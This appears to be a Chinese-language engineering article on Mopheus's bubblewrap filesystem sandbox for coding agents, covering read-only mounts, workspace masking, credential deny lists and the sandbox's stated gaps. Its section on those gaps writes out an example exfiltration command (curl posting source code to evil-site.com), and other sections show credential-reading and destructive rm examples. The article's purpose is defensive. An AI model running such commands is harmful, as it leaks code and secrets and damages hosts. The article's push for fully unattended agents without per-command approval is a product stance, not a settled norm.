当AI开始读写整台机器:Mopheus文件系统Sandbox的设计与边界
用进程级挂载隔离,把Agent从“看得见一切”收敛到“只操作该操作的工程空间”。
Agent真正进入软件工程现场之后,风险不再只来自模型输出。它会调用 git、python、npm 以及各种系统工具,也会继承Provider的配置、会话和凭据。默认情况下,这些子进程看到的是宿主机的完整文件系统:其他workspace的代码、其他任务的工作目录、~/.ssh,甚至 /etc 都可能处在可见范围内。
Mopheus的文件系统Sandbox用Linux bubblewrap(bwrap)创建进程级挂载命名空间,将文件系统收敛为“全盘只读 + 指定目录可写 + workspace级遮蔽 + 可选Deny黑名单”。它不伪装成容器,也不承诺网络和环境变量隔离;本文拆解这套能力真正保护了什么、刻意没有保护什么,以及它如何与Daemon、WorkDir和Provider协同工作。
01核心问题:Agent需要真实环境,也需要真实边界
如果只让Agent在一个封闭的模拟环境中运行,它很难完成真实工程任务:代码需要编译,测试需要依赖,git 需要访问仓库缓存,Provider(runtime)需要读写自己的session与配置,任务还可能需要访问LLM API。
但如果直接把Agent CLI作为普通子进程启动,另一个问题马上出现:
1.文件可见范围过大:一个任务可以遍历宿主机上其他workspace的任务目录和仓库缓存;
2.写入边界不清晰:错误的脚本、依赖安装或工具配置可能修改系统目录,污染后续任务;
3.临时文件互相暴露:宿主 /tmp 中的文件可能来自其他workspace或其他任务;
4.Provider 的内层策略不统一:不同Provider对Sandbox的支持不同,不能把一个CLI的安全模型强行套给另一个CLI。
传统的做法通常是直接上容器。但Daemon的任务工作目录、Git Worktree、Provider home和宿主机凭据之间存在大量需要保留的原路径关系。Mopheus选择了更窄、更容易嵌入现有执行链路的边界:只在Agent子进程及其子孙进程外面包一层文件系统挂载沙箱。

图1:Mopheus只在Agent子进程及其子孙进程外面包一层文件系统挂载沙箱
图中,Mopheus Server 和宿主侧的 Mopheus Daemon 在沙箱之外;bwrap 是创建边界并启动Provider的包裹器,不是Provider本身。真正被包裹的是从 Claude/Codex Provider CLI 这个根进程开始的整棵进程树:Provider启动的 git、python、npm 以及它们继续创建的子进程,全部继承同一个挂载命名空间,不会绕过边界。
02Mopheus Sandbox到底控制什么?
当前实现控制的是三件事:
2.1 文件系统可见性
沙箱先把根文件系统以只读方式挂载。这样,系统命令、动态库和必要配置仍然可见,Agent可以运行 PATH 中已经安装的工具,但不能直接改写根文件系统中的系统文件。
随后,Daemon按任务和workspace重新放行少量目录:当前任务工作目录、当前workspace的目录、当前workspace的Git bare cache,以及Provider所需的home目录。
2.2 文件系统可写性
“可见”不等于“可写”。Mopheus将可写目录分为两类:
·Provider-owned writable:由Provider自己准备和维护,例如宿主 HOME 与任务级 ProviderHome。Claude和Codex都声明了这类目录,因为它们需要保存配置、session和符号链接目标;
·Daemon-owned writable:由Daemon管理,例如当前任务的 RootDir 和当前workspace的 .repos/<workspaceId>。这些路径在启动 bwrap 前以 0700 创建,再按原绝对路径挂载。
这里的三层分工本身不是混乱,而是对混乱的收敛。常见的职责越界有三种:Daemon直接写死Claude、Codex等Provider的配置目录;Provider自己拼接workspace隔离和 bwrap 参数;sandbox层反过来猜测哪些Provider目录需要创建、哪些仓库路径必须可写。这样一来,新增或修改Provider就要同时改动多层代码,路径权限也容易被重复声明或意外放大。
Mopheus将职责明确拆开:Provider只声明自己的运行时需求,Daemon负责任务目录、workspace和Git仓库边界,sandbox层则把两者合并后的最终结果转换成挂载参数。
2.3 workspace级隔离
Mopheus不需要枚举并单独隐藏每一个其他任务目录。它利用 bwrap 的挂载覆盖顺序完成一次性遮蔽:

图2:Mopheus利用bwrap的挂载覆盖顺序完成一次性遮蔽
因此,跨workspace的任务目录和bare cache不可见;而当前workspace的任务目录会在遮蔽之后重新bind,恢复可见和可写。
这个语义是有意设计的:同一workspace内的多个Agent可以看到彼此的任务目录并共享中间结果;不同workspace之间则保持多租户隔离。这是一种以workspace为边界的文件系统可见性控制。
2.4 典型防护场景:沙箱在实战中真正管住了什么?
结合上述可见性、可写性与Workspace遮蔽机制,在真实的日常工程任务中,Mopheus沙箱真正管住了以下典型风险场景:
·防止跨Workspace越界读写与代码窃视:
如果某个Agent任务尝试执行 find -name ".env" 或试图读取 /home/mopheus-work/workspace-finance/secrets.yaml,由于其他Workspace目录已被空 tmpfs 整体遮蔽,Agent在文件系统视图中根本看不到其他工作区的存在,更无法跨空间改写代码或Git缓存。
·防止误操作破坏宿主机系统环境:
当Agent执行存在缺陷的安装脚本(如误执行 pip install --system、npm link -g,或写错了通配符路径的 rm -rf usr/local/bin)时,由于根文件系统全盘以只读(--ro-bind)挂载,内核会直接抛出 Read-only file system 拒绝写入,彻底保护了宿主机的系统环境不被破坏。
·防止 /tmp 临时文件污染与交叉渗透:
编译工具和脚本在 /tmp 下创建的中间临时文件,实际被路由到了宿主机的 /tmp/mopheus-<workspaceId>。同一个Workspace内的任务可以共享编译缓存,但完全无法窥探宿主机全局 /tmp 或其他租户的临时数据。
·敏感凭据的主动黑名单遮蔽(Deny机制):
若配置了 MOPHEUS_SANDBOX_DENY="$HOME/.aws,$HOME/.gnupg",Agent无论使用何种命令(如 cat ~/.aws/credentials),看到的都只是一个空目录,有效防止了敏感凭据被注入到LLM会话上下文中。
03沙箱如何一层层形成:从宿主 / 到 Provider 进程
bwrap 不会复制一套文件系统,而是把宿主机上的真实路径按规则挂载成一个新的进程视图。--bind <source> <target> 放行宿主机上的真实内容;--tmpfs <target> 则在目标位置覆盖一个空文件系统,使原有内容在沙箱内不可见。后执行的挂载覆盖先执行的挂载。
下图展示了挂载完成后,Provider最终看到的文件系统。颜色区分宿主机真实路径、读写权限、被遮蔽路径和命名空间内创建的资源;底部则标出Provider根进程及其整个子进程树。

图3:Mopheus文件系统沙箱:Provider的最终进程视图
图中的 <WorkDir> 是关键覆盖点:它先被空 tmpfs 整体遮蔽,随后当前 <workspaceId> 的任务目录和 .repos/<workspaceId> 从宿主机按原路径重新bind回来。因此,同一workspace的任务目录可见且可写,其他workspace仍不可见。为了突出覆盖关系,图中将 <WorkDir> 单独展开;它实际可以位于 $HOME 下,也可以由 MOPHEUS_WORKDIR 指向其他绝对路径。
除 /tmp 外,图中的bind都保留宿主机上的原绝对路径。沙箱内的 /tmp 是一个例外:它实际映射到宿主机的 /tmp/mopheus-<workspaceId>,并由Daemon设置 TMPDIR=/tmp。同一workspace的任务共享这个临时目录,宿主机原有 /tmp 和其他workspace的临时内容不可见。
04从任务派发到进程启动:一次完整的协商流程
文件系统沙箱不是Daemon启动时简单地套一个全局开关,而是每个任务都要重新计算有效状态:

图4:从任务派发到进程启动:一次完整的协商流程
FilesystemSandboxActive 只有在命令确实成功改写为 bwrap 后才会变成 true。这一步保证了另一个重要的事实:Agent看到的sandbox提示词必须反映实际生效状态。如果平台不支持、bwrap 不存在或Provider不支持,系统不会向Agent宣称它正在沙箱中运行。
任务输入中会说明当前任务工作目录、可写的task/workspace路径、临时目录语义和Deny路径。对于任务工作区根目录本身,提示词还会提醒Agent不要直接写入,因为该目录的根层内容可能在生命周期清理时丢失;源码、artifact和最终输出应写入当前任务目录。
05Provider不是都一样:能力声明与「验证一个,接入一个」的设计思路
Mopheus通过 SandboxCapable 接口让Provider显式声明是否支持外层文件系统沙箱,以及需要哪些Provider-owned writable paths。
当前内置Provider的能力边界如下:
|
|
|
|
|
claude) |
|
bwrap 外层沙箱 |
|
codex) |
|
|
|
kimi-code) |
|
|
|
opencode) |
|
|
|
mimo-code) |
|
|
|
hermes) |
|
|
|
pi) |
|
|
|
为什么当前只接入了 Claude Code 与 Codex?
这并不是因为其他Provider在Linux上物理不支持 bwrap,而是出于Mopheus对生产安全「严谨契约、验证一个、接入一个」的工程原则:
1.I/O写入路径必须实机抓取与精确声明:根文件系统被挂载为只读后,CLI任何微小的隐蔽写入(如 ~/.cache、~/.config、临时Socket等)若未被显式加入可写白名单,都会直接引发 EROFS (Read-only file system) 报错导致任务非预期中断;
2.拒绝盲目全量开启与假装安全:Mopheus坚持显式准入契约——未经过完整实机I/O行为梳理与边界测试的Provider,宁可平滑降级并记录告警,也绝不盲目套用通用模板,避免给用户制造虚假的安全感。
Codex的双层沙箱协调案例
Codex的处理尤其体现了针对性验证的必要性。Codex自身拥有内层sandbox;如果外面直接套一个 bwrap,两层挂载和网络策略会直接冲突锁死。因此,Mopheus以任务级的 SandboxEnabled 传入Codex home初始化逻辑:外层沙箱成功启用时,Codex使用 danger-full-access,关闭自身的内层bwrap与seccomp网络限制,统一由Mopheus外层沙箱管理文件系统读写,同时保证Agent访问LLM API等网络通信正常可用。
全量接入演进计划(Roadmap)
Mopheus团队正在对KimiCode、OpenCode、MimoCode、Hermes、Pi以及基于ACP协议接入的自定义Provider逐一进行I/O路径梳理与实机沙箱验证。随着各Provider的 SandboxSpec 相继补齐,Mopheus将逐步实现对所有内置与生态Provider的全量文件系统沙箱覆盖。
06如何启用:默认关闭,按Daemon配置
沙箱默认关闭,确保未显式配置的环境行为保持不变。Linux主机上可以通过环境变量启用:
export MOPHEUS_SANDBOX_ENABLED=true
mopheus daemon start
也可以使用Daemon flag:
mopheus daemon start --sandbox-enabled
对于不希望Agent看到的额外敏感目录,可以配置绝对路径黑名单:
export MOPHEUS_SANDBOX_DENY="$HOME/.ssh,$HOME/.aws,$HOME/.gnupg"
mopheus daemon start
MOPHEUS_SANDBOX_DENY 使用空 tmpfs 覆盖指定路径,使其在沙箱内不可见、不可读、不可写。需要注意,~/.ssh 默认不在Deny列表中,因为Git的SSH pull/push可能依赖它;如果运行的是不受信任的Agent,应显式隐藏相关凭据,同时接受它们不再可用的结果。
常用的检查入口是:
mopheus daemon status
mopheus daemon logs
如果 bwrap 未安装、运行平台不是Linux,或者当前Provider没有实现 SandboxCapable,Daemon在代码层面会采取“平滑降级(Graceful Degradation)”策略:记录Warning日志并以非沙箱方式继续执行任务,而不会将任务直接判定为失败。
因此,如果团队对某些高危或敏感任务有严格的合规要求(“必须在沙箱中运行"),运维与部署层面的实践建议是将此类Agent明确调度/绑定到安装了 bwrap 的Linux Daemon节点,并选用支持沙箱的Provider(如Claude或Codex),以确保沙箱策略能够稳定生效,避免因环境不满足而发生降级执行。
07安全边界:文件系统沙箱不等于完整容器
|
|
|
|
| 网络隔离 | 完全放通
--unshare-net) |
设计取舍
|
| 环境变量 | 继承宿主环境
TMPDIR=/tmp) |
设计取舍
PATH 和基础环境配置 |
| 工具可执行权限 | 完全可用
PATH 中全部工具) |
机制属性
bwrap 是挂载级隔离,只读放行系统目录后所有命令均可调用,不作命令名过滤 |
| 系统调用拦截 | 无限制
|
设计取舍
|
| 计算与内存配额 | 无限制
|
机制属性
|
| 跨平台适用性 | 仅限Linux
|
机制属性
|
7.1 沙箱管不住什么,以及建议如何补充应对?
虽然文件系统沙箱精确解决了“Agent不应读取或改写哪些文件”的核心问题,但在面对以下能力之外的安全威胁时,需要搭配对应的补充手段:
1.网络出网与数据外发
· 沙箱管不住什么:沙箱未开启网络隔离(以确保Agent能够正常请求LLM API、拉取包依赖与调用Webhook)。如果Agent引入的恶意第三方依赖主动执行 curl -X POST https://evil-site.com -d @src/index.ts,文件系统沙箱无法拦截此网络通信。
· 建议应对方式:在Daemon宿主机或集群网络层面配置网络出口防火墙(Egress Gateway)、安全代理或域名白名单,阻断未授权的公网回传。
2.环境变量中的敏感凭据
· 沙箱管不住什么:如果启动Daemon的宿主环境中直接导出了全局机密变量(如生产数据库密码、全局云账号Key等),沙箱内的子进程依然能通过 env 或 os.environ 遍历读取到这些宿主变量。
· 建议应对方式:部署Daemon节点时遵循最小权限原则,避免在宿主机全局注入无关的生产核心机密;业务层所需凭据建议在Agent级别独立配置或结合外部Secret Manager按需注入。
3.系统调用逃逸与硬件资源耗尽(DoS)
· 沙箱管不住什么:沙箱未引入 seccomp 系统调用白名单或 cgroups 资源配额。如果恶意代码运行Fork炸弹消耗CPU/内存,或尝试利用Linux内核未修补的漏洞提权,文件系统挂载隔离无法提供防护。
· 建议应对方式:对于需要执行高危、完全不可信代码的任务,应在架构外层挂载gVisor、Firecracker或独立Docker容器进行完整的全虚拟化隔离。
4.跨平台环境的防护缺失
· 沙箱管不住什么:bwrap 依赖Linux内核命名空间,macOS与Windows节点默认以非沙箱方式运行。
· 建议应对方式:涉及高敏感数据、多租户代码的生产工作区任务,建议在调度层面明确指派至Linux Daemon节点执行。
08结语:在无人值守与安全边界之间做正确的工程取舍
Mopheus的核心定位是打造能够自主承揽任务、跨团队协同的无人值守数字员工平台。
在这一目标下,两种极端的安全思路在工程实践中都无法成立:
●完全不设防的裸机执行:让无人值守的Agent拥有宿主机的完整读写权限,一旦模型产生幻觉或执行异常,极易造成跨空间代码泄露或宿主机系统破坏;
●事事依赖人工确认的“绝对安全”:要求Agent每执行一条Shell命令、修改一个文件都需要人类工程师守在屏幕前逐条显式Approve。这彻底摧毁了数字员工高吞吐、自动化自治执行的核心价值。
因此,Mopheus做出了明确的工程取舍:不把安全责任推给繁琐的人工介入,而是将防护边界沉降到底层文件系统与任务上下文之中。
Daemon决定任务上下文,Provider声明运行时依赖,bwrap 负责内核级挂载隔离——通过只读根目录截断破坏宿主机的可能,通过 tmpfs 覆盖杜绝跨Workspace越界读写。在明确划定的安全边界内部,数字员工可以拥有完整的执行自由,100%无人值守地调用真实的编译器与工具链完成工程交付。

图5:Mopheus在无人值守与安全边界之间做出工程取舍
随着更多Provider的 SandboxSpec 适配就绪,以及未来对凭据、网络与Task Policy的持续收敛,Mopheus将在保障真实开发能力的同时,把数字员工的行动范围牢牢锚定在组织可信的工程边界内。
